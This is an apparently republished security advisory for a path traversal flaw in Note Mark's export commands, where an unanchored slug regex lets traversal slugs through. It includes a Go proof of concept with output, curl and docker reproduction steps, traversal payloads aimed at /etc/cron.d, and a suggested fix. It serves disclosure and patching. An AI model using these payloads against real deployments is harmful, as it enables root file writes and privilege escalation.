Note Mark: Path traversal via unsanitized book/note slug in migrate export (sibling of GHSA-g49p)
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
Summary
Note Mark validates book and note slug values with the OpenAPI/huma tag pattern:"[a-z0-9-]+". huma compiles this with regexp.MustCompile(s.Pattern) and tests it with patternRe.MatchString(str), an UNANCHORED match. Because the pattern is not anchored (^...$), any string that merely CONTAINS one [a-z0-9-] substring passes validation. A slug such as ../../../../../../tmp/escape is accepted and stored verbatim.
The data-export CLI commands (note-mark migrate export and note-mark migrate export-v1) join these unsanitized slugs straight into the output path with path.Join / filepath.Join, then os.MkdirAll the directory and os.Create the note file. path.Join resolves the ../ segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write.
This is the unguarded sibling of GHSA-g49p-4qxj-88v3 (CVE class CWE-22 in the same export sinks). That fix added filepath.Base(asset.Name) to sanitize the asset filename, but the adjacent path components book.Slug and note.Slug — used in the very same path.Join calls in the same two export functions — were left raw, and their input-side pattern guard is bypassable as shown above.
Vulnerable code
Slug input validation (backend/db/types.go, v0.19.4):
1type CreateBook struct { 2 Name string `json:"name" required:"true" minLength:"1" maxLength:"80"` 3 Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"` 4 IsPublic bool `json:"isPublic,omitempty" default:"false"` 5} 6 7type CreateNote struct { 8 Name string `json:"name" required:"true" minLength:"1" maxLength:"80"` 9 Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`10}huma applies the pattern UNANCHORED (github.com/danielgtaylor/huma/v2@v2.37.3):
1// schema.go 2if s.Pattern != "" { 3 s.patternRe = regexp.MustCompile(s.Pattern) 1// validate.go 2if s.patternRe != nil { 3 if !s.patternRe.MatchString(str) { 4 res.Add(path, v, s.msgPattern)regexp.MatchString("[a-z0-9-]+", "../../../../tmp/escape") is true (it matches the tmp substring), so the traversal slug passes and BooksService.CreateBook / NotesService store it verbatim.
Export sinks (backend/cli/migrate.go, v0.19.4). The asset filename was sanitized by the GHSA-g49p fix; the sibling slug path components were not:
1// commandMigrateExportDataV1 / commandMigrateExportData 2for _, book := range user.Books { 3 bookDir := path.Join(exportDir, user.Username, book.Slug) // book.Slug raw 4 for _, note := range book.Notes { 5 noteDir := path.Join(bookDir, note.Slug) // note.Slug raw 6 if err := os.MkdirAll(noteDir, os.ModePerm); err != nil { 7 return err 8 } 9 f, err := os.Create(path.Join(noteDir, "_index.md")) // escapes exportDir 1// the same functions DO sanitize the sibling asset name: 2assetFileName := filepath.Base(asset.Name) 3if assetFileName == "/" || assetFileName == "." { 4 log.Printf("disallowed asset filename found '%s', skipping\n", asset.Name) 5 continue 6} 7f, err := os.Create(path.Join(assetsDir, asset.ID.String()+"."+assetFileName))Impact
A low-privilege authenticated user (any registered account that can create a book/note) sets a traversing slug. When an administrator later runs note-mark migrate export or export-v1 (a routine backup/migration operation, commonly as root in Docker), the exporter creates attacker-chosen directories and writes the note's _index.md to an arbitrary filesystem location outside the export directory. With root, this allows writing to /etc/cron.d/, systemd unit directories, or other startup paths, escalating to code execution as root. Same trust boundary and severity class as GHSA-g49p-4qxj-88v3.
Attack scenario
- Attacker registers / uses any normal user account.
- Attacker
POST /api/books(or a note) withslug=../../../../../../etc/cron.d/x(passes the unanchored[a-z0-9-]+pattern). Stored verbatim. - Admin runs
note-mark migrate export-v1 --export-dir /data/backup(root). - Exporter does
path.Join("/data/backup", username, "../../../../../../etc/cron.d/x")which yields/etc/cron.d/x, thenos.MkdirAllcreates it andos.Create(path.Join(noteDir, "_index.md"))writes attacker-influenced content outside/data/backup.
Proof of concept
Self-contained Go reproducer pinning huma v2.37.3 (Note Mark's exact version) and Note Mark's exact CreateBook DTO + the exact export path.Join expression. It demonstrates (a) the traversal slug passes huma validation, (b) a negative control that genuinely violates the charset is rejected, (c) the export sink writes the file outside the export root.
1// go.mod: module nmpoc; go 1.24; require github.com/danielgtaylor/huma/v2 v2.37.3 2package main 3 4import ( 5 "context" 6 "fmt" 7 "net/http" 8 "net/http/httptest" 9 "os"10 "path"11 "strings"12 13 "github.com/danielgtaylor/huma/v2"14 "github.com/danielgtaylor/huma/v2/adapters/humago"15)16 17// Mirror of note-mark backend/db/types.go:24-28 CreateBook DTO at v0.19.4.18type CreateBook struct {19 Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`20 Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`21 IsPublic bool `json:"isPublic,omitempty" default:"false"`22}23type CreateBookInput struct{ Body CreateBook }24type CreateBookOutput struct {25 Body struct {26 Slug string `json:"slug"`27 }28}29 30func main() {31 mux := http.NewServeMux()32 api := humago.New(mux, huma.DefaultConfig("note-mark-poc", "1.0.0"))33 var stored string34 huma.Register(api, huma.Operation{OperationID: "create-book", Method: http.MethodPost, Path: "/api/books"},35 func(ctx context.Context, in *CreateBookInput) (*CreateBookOutput, error) {36 stored = in.Body.Slug // BooksService.CreateBook stores Slug verbatim37 out := &CreateBookOutput{}38 out.Body.Slug = in.Body.Slug39 return out, nil40 })41 42 const traversalSlug = `../../../../../../tmp/nmpoc-escape`43 body := fmt.Sprintf(`{"name":"x","slug":%q}`, traversalSlug)44 req := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(body))45 req.Header.Set("Content-Type", "application/json")46 rec := httptest.NewRecorder()47 mux.ServeHTTP(rec, req)48 fmt.Printf("[validation] slug=%q status=%d stored=%q\n", traversalSlug, rec.Code, stored)49 50 // Negative control: a slug with NO [a-z0-9-] char anywhere must be rejected.51 negReq := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(`{"name":"x","slug":"@@@@"}`))52 negReq.Header.Set("Content-Type", "application/json")53 negRec := httptest.NewRecorder()54 mux.ServeHTTP(negRec, negReq)55 fmt.Printf("[neg-control] slug=\"@@@@\" status=%d (expect 422)\n", negRec.Code)56 57 // Export sink expression from backend/cli/migrate.go:187,191,203.58 exportDir := "/tmp/nmpoc-exportroot"59 _ = os.RemoveAll(exportDir)60 _ = os.RemoveAll("/tmp/nmpoc-escape")61 _ = os.MkdirAll(exportDir, 0o755)62 bookDir := path.Join(exportDir, "victim", stored)63 noteDir := path.Join(bookDir, "n")64 _ = os.MkdirAll(noteDir, 0o755)65 outPath := path.Join(noteDir, "_index.md")66 _ = os.WriteFile(outPath, []byte("PWNED-NOTE-CONTENT\n"), 0o644)67 escaped := !strings.HasPrefix(path.Clean(outPath), path.Clean(exportDir)+"/")68 fmt.Printf("[export] joined=%q escapedExportDir=%v\n", outPath, escaped)69 if d, err := os.ReadFile("/tmp/nmpoc-escape/n/_index.md"); err == nil {70 fmt.Printf("[export] SENTINEL written OUTSIDE exportDir => %q\n", strings.TrimSpace(string(d)))71 }72}Verbatim output (go run ., huma v2.37.3, go1.26.1):
1[validation] slug="../../../../../../tmp/nmpoc-escape" status=200 stored="../../../../../../tmp/nmpoc-escape" 2[neg-control] slug="@@@@" status=422 (expect 422) 3[export] joined="/tmp/nmpoc-escape/n/_index.md" escapedExportDir=true 4[export] SENTINEL written OUTSIDE exportDir => "PWNED-NOTE-CONTENT"The traversal slug is ACCEPTED (status 200) while the negative control is correctly rejected (422), and the export path.Join writes the note file outside the export root.
End-to-end reproduction
Against the released image ghcr.io/enchant97/note-mark-aio:0.19.4 (the GHSA-g49p fix release):
1# 1. start 2docker run -d --name nm -p 8080:8080 -e JWT_SECRET="$(openssl rand -base64 32)" \ 3 -e PUBLIC_URL="http://localhost:8080" ghcr.io/enchant97/note-mark-aio:0.19.4 4# 2. register + login (capture Auth-Session-Token cookie) 5curl -s -X POST localhost:8080/api/users -H 'Content-Type: application/json' \ 6 -d '{"username":"attacker","password":"Attack3r!","name":"a"}' 7TOKEN=$(curl -s -D - -X POST localhost:8080/api/auth/token -H 'Content-Type: application/json' \ 8 -d '{"username":"attacker","password":"Attack3r!","grant_type":"password"}' \ 9 | sed -n 's/.*Auth-Session-Token=\([^;]*\).*/\1/p')10# 3. create a book with a traversing slug — passes the [a-z0-9-]+ pattern11curl -s -X POST localhost:8080/api/books -H 'Content-Type: application/json' \12 -b "Auth-Session-Token=$TOKEN" \13 -d '{"name":"x","slug":"../../../../../../tmp/nmpoc-escape"}'14# response echoes "slug":"../../../../../../tmp/nmpoc-escape" (accepted, 200/201)15# 4. add a note under that book (any valid note slug), then trigger admin export16docker exec nm /note-mark migrate export-v1 --export-dir /data/backup17# 5. observe the note _index.md written outside /data/backup18docker exec nm ls -la /tmp/nmpoc-escape/The self-contained Go reproducer above is the deterministic, version-pinned demonstration of the validation bypass + sink escape (it does not require the full image build).
Suggested fix
Apply filepath.Base() (the same idiom already used for asset.Name in the GHSA-g49p fix) to the sibling slug path components in both export functions, and/or reject the result if it differs from the raw value:
1bookSlug := filepath.Base(book.Slug) 2noteSlug := filepath.Base(note.Slug) 3if bookSlug != book.Slug || noteSlug != note.Slug { 4 log.Printf("disallowed slug found, skipping book=%q note=%q\n", book.Slug, note.Slug) 5 continue 6} 7bookDir := path.Join(exportDir, user.Username, bookSlug) 8noteDir := path.Join(bookDir, noteSlug)Root cause hardening (preferred): anchor the slug pattern at the input layer so traversal can never enter the DB. Either change the tag to an anchored regex pattern:"^[a-z0-9-]+$", or reject strings.ContainsAny(slug, "/\\.") in the create/update handlers (mirroring the PostNoteAsset header check added by GHSA-g49p). user.Username (pattern:"[a-zA-Z0-9]+") is also unanchored and should be anchored for the same reason.
Affected versions
<= v0.19.4 (current latest release). The slug components are used unsanitized in backend/cli/migrate.go at v0.19.4, the release that fixed the sibling asset.Name traversal (GHSA-g49p-4qxj-88v3).
Fix PR
A fix is prepared on the temporary private advisory fork: enchant97/note-mark-ghsa-rqrh-8wpv-x7hh PR #1. It anchors the slug/username pattern tags (^[a-z0-9-]+$ / ^[a-zA-Z0-9]+$) at the input layer and adds defense-in-depth filepath.Base() checks to both export functions, plus a regression test. go test ./backend/db/ passes with the fix and fails against the old unanchored pattern.
Credit
Reported by tonghuaroot.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.